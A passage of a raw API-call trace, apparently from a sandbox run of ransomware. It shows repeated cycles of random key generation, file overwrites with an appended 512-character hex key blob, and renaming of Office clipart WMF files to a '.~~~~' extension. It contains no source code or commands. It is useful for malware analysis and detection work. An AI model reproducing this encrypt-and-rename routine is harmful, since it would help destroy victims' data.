	[0103.815] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffea0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.816] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x15f4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x15f4, lpOverlapped=0x0) returned 1
	[0103.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.817] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.817] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.817] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.817] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.817] CloseHandle (hObject=0x128) returned 1
	[0103.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.817] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.~~~~")) returned 1
	[0104.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.260] GetLastError () returned 0x0
	[0104.260] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.261] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.262] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.262] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22425194079) returned 1
	[0104.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7d0e7f0, dwHighDateTime=0x1d60e1e)) 
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863e18
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863e18 | out: hHeap=0x300000) returned 1
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868218
	[0104.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.263] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.263] GetLastError () returned 0x0
	[0104.264] GetLastError () returned 0x0
	[0104.264] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.264] GetLastError () returned 0x0
	[0104.264] GetLastError () returned 0x0
	[0104.271] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff10e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.271] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xef2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xef2, lpOverlapped=0x0) returned 1
	[0104.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.272] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.272] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.273] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.273] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.273] CloseHandle (hObject=0x128) returned 1
	[0104.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.273] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.~~~~")) returned 1
	[0104.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.274] GetLastError () returned 0x0
	[0104.275] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.276] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.276] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.277] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22426696821) returned 1
	[0104.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7d34950, dwHighDateTime=0x1d60e1e)) 
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863e50
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863e50 | out: hHeap=0x300000) returned 1
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28683e0
	[0104.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.278] GetLastError () returned 0x0
	[0104.278] GetLastError () returned 0x0
	[0104.278] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.278] GetLastError () returned 0x0
	[0104.278] GetLastError () returned 0x0
	[0104.282] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffca7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.282] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3586, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x3586, lpOverlapped=0x0) returned 1
	[0104.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.283] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.283] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.283] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.283] CloseHandle (hObject=0x128) returned 1
	[0104.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.~~~~")) returned 1
	[0104.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.284] GetLastError () returned 0x0
	[0104.285] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.286] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.286] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22427639868) returned 1
	[0104.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7d5aab0, dwHighDateTime=0x1d60e1e)) 
	[0104.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863e88
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863e88 | out: hHeap=0x300000) returned 1
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868478
	[0104.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.287] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.287] GetLastError () returned 0x0
	[0104.288] GetLastError () returned 0x0
	[0104.288] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.288] GetLastError () returned 0x0
	[0104.288] GetLastError () returned 0x0
	[0104.290] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe500, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.290] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1b00, lpOverlapped=0x0) returned 1
	[0104.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.291] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.291] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.292] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.292] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.292] CloseHandle (hObject=0x128) returned 1
	[0104.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.~~~~")) returned 1
	[0104.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.293] GetLastError () returned 0x0
	[0104.323] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.325] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22431546305) returned 1
	[0104.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7dcced0, dwHighDateTime=0x1d60e1e)) 
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28ba228
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ba228 | out: hHeap=0x300000) returned 1
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868510
	[0104.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.326] GetLastError () returned 0x0
	[0104.327] GetLastError () returned 0x0
	[0104.327] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.327] GetLastError () returned 0x0
	[0104.327] GetLastError () returned 0x0
	[0104.333] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe9b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.333] WriteFile (in: hFile=0x128, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x164c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x25dfec0*=0x164c, lpOverlapped=0x0) returned 1
	[0104.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.335] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.335] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.335] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.335] CloseHandle (hObject=0x128) returned 1
	[0104.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.~~~~")) returned 1
	[0104.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.337] GetLastError () returned 0x0
	[0104.337] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.339] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.339] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.339] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22432932953) returned 1
	[0104.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7dcced0, dwHighDateTime=0x1d60e1e)) 
	[0104.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863ef8
	[0104.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863ef8 | out: hHeap=0x300000) returned 1
	[0104.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28685a8
	[0104.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.340] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.340] GetLastError () returned 0x0
	[0104.340] GetLastError () returned 0x0
